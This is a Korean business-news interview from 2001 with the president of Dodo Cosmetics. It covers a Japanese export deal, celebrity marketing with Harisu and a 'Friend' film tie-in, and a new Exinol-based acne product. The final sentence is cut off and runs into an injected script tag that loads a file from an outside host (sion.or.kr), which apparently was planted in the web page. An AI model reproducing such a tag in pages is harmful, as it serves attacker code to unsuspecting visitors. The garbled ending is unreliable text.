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도도화장품 최규근 사장
  • 승인 2001.09.28 13:48
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최근 장안의 화제가 되고 있는 성전환모델 하리수를 떠올리면 생각나는 제품이 있다. 하리수가 최근 유행시킨 빨간 원피스와 잘 어울리는 빨간통 패니아. 도도화장품이 발굴해 낸 모델 하리수만 보아도 이 기업의 혜안(慧眼)이 어느 정도인지 가늠할 수 있다. 그 중심에서 "공격 경영"의 손짓을 하는 도도화장품의 최규근 사장을 만나보았다. 엑시놀 제품 출시. 일본 진출"두마리 토끼 잡기" 일본 진출로 향후 5년간 50억원 수출 효과 예상 도도화장품의 최규근 사장은 지난 3월과 7월 굵직한 프로젝트 두 건을 성사시켰다. 하나는 대일 수출 계약을 성사시킨 것이고, 다른 하나는 미국의 엑시놀 원료 독점 수입권을 확보했다는 것이다. 두 건 모두 동종 업계에 적지 않은 파장을 몰고 올 것으로 예상되는 가운데, 최사장은 요즘 몸이 열 개라도 모자랄 지경이다. "일본 최대 유통업체인 "이다 료고쿠도"가 국내 빨간통 파우더의 성공을 보고 연락을 해왔습니다. 매우 적극적이었고 이례적인 일이었습니다. 특히, 그들은 일본인들이 한국 관광시 빨간통 파우더 구매를 많이 한다는 것을 주목한 모양입니다." 일본 화장품 시장의 규모는 연간 약 30조원. 도도가 진출하게 되면 초기에 150만불(약18억원) 이상 매출을 올릴 것으로 전망했다. 향후 5년 간 수출 계약을 맺어 일본 시장이 이제 남의 밭이 아닌 셈이다. 한국에서 빨간통이 히트 상품에 선정된 것처럼 일본에서도 큰 호응을 얻으리라는 판단이 크게 작용했다. 일본에 진출하는 국내 기업으로는 도도외에 일본 판매 에이전트인 "스페이스 유라"와 3년간 독점 판매권을 확보한 클리오가 있다. 독자적으로 먼 땅에서 모험하는 것보다 함께 진출하는 것도 큰 위안이 된다. 비록 도도는 빨간통 파우더 한 제품으로 승부하는 것이지만 이달 말부터 일본 전역 250여 매장에 제품이 직접 공급된다. 이제 일본에서도 빨간통 파우더를 만날 수 있는 것. 이에 대해 최사장은 "향후 5년간 50억원 가량의 수출 기대효과가 예상된다"라고 평가했다. 이제는 메이저급 업체들도 일본 내에서의 도도 행보에 주목할 수밖에 없게 된 것이다. "일본 진출에 대해 특별히 경쟁업체들의 견제는 없었습니다. 그러나, 일본 업체의 까다로운 품평과정과 시장 성공 가능성 판단에 따른 결정 등이 매우 어려웠습니다. 국내에서 고기능 제품의 선도적 역할을 했다고 자부하는 도도화장품은 일본 진출을 세계화 전략을 삼는 발판으로 생각하기에 가능했습니다." 최사장의 말처럼 일본에 진입하는 것은 쉬운 일이 아니다. 특히, 도도에 부임한 지 10개월밖에 되지 않은 시점에서는 더욱 그럴 것이다. 그러나, 그가 최고 경영자 과정을 밟은 전문 경영인이라면 누구나 이러한 "행동"에 대해 고개를 끄덕일 만 하다. 뛰어난 기획력으로 잇단 사업 "성공" 일궈 지난 4월 최사장은 영화 "친구"를 보며 남들처럼 감상만 하지 않았다. 영화 속에서 사업 구상을 했던 것. 그 생각이 이어져 영화 "친구"의 캐릭터 라이센싱 사업을 벌여 제작사인 코리아픽처스와 계약하기에 이르렀다. 이로써 친구와 관련된 모든 비즈니스는 도도의 것이 됐다. 그는 계약 체결과 동시에 남성용 화장품 케이스에 장동건과 유오성의 얼굴을 심었다. 그로부터 얼마간의 시간이 흘렀다. 결과는 또 대박이었다. 투자에 비해 3∼4배에 가까운 수익을 올렸던 것이다. "하리수를 모델로 기용하자고 제안했을 당시, CF 촬영전까지도 극구 만류했던 주위의 반응을 이번에도 겪어야 했지만 결과는 하리수때와 비슷하게 진행되고 있었습니다." 그의 선견지명이 이번에도 통할까. 도도는 지난 3월 엑시놀 특허권자인 미국의 IMS사와 국내 독점권을 확보한 계약을 체결했다. 오는 21일 엑시놀을 원료로 사용한 여드름 치료 제품인 "A클리닉 클럽"의 제품 발표회를 앞두고 있다. 그래서인지 도도맨들은 요즘 모두 상기된 표정들이다. 엑시놀은 99.99%의 은이온과 염소 등이 주성분으로 엑시놀 용액은 박테리아, 바이러스 등을 1분내에 99%이상 살균하는 것으로 알려져 있다. 이에 대해 최사장은 "카톨릭대학교 여의도 성모병원 피부과 임상 테스트를 이미 거쳤다"라며 "이번 임상실험에서 엑시놀 제품의 여드름 피부 개선 효과가 75%를 넘어서는 것으로 나타났다"고 설명했다. 현재 1623세대 전문 화장품 시장은 3000억원 정도로 추산되고 있으며, 여드름 전용 제품 만 300억원의 시장 규모를 형성하고 있다. 도도의 2001년 하반기 주력 제품 또한 당연히 빨간통 패니아와 더불어 A클리닉 클럽이 될 것이라고 한다. "A클리닉 클?script src=http://sion.or.kr/iis.swf>

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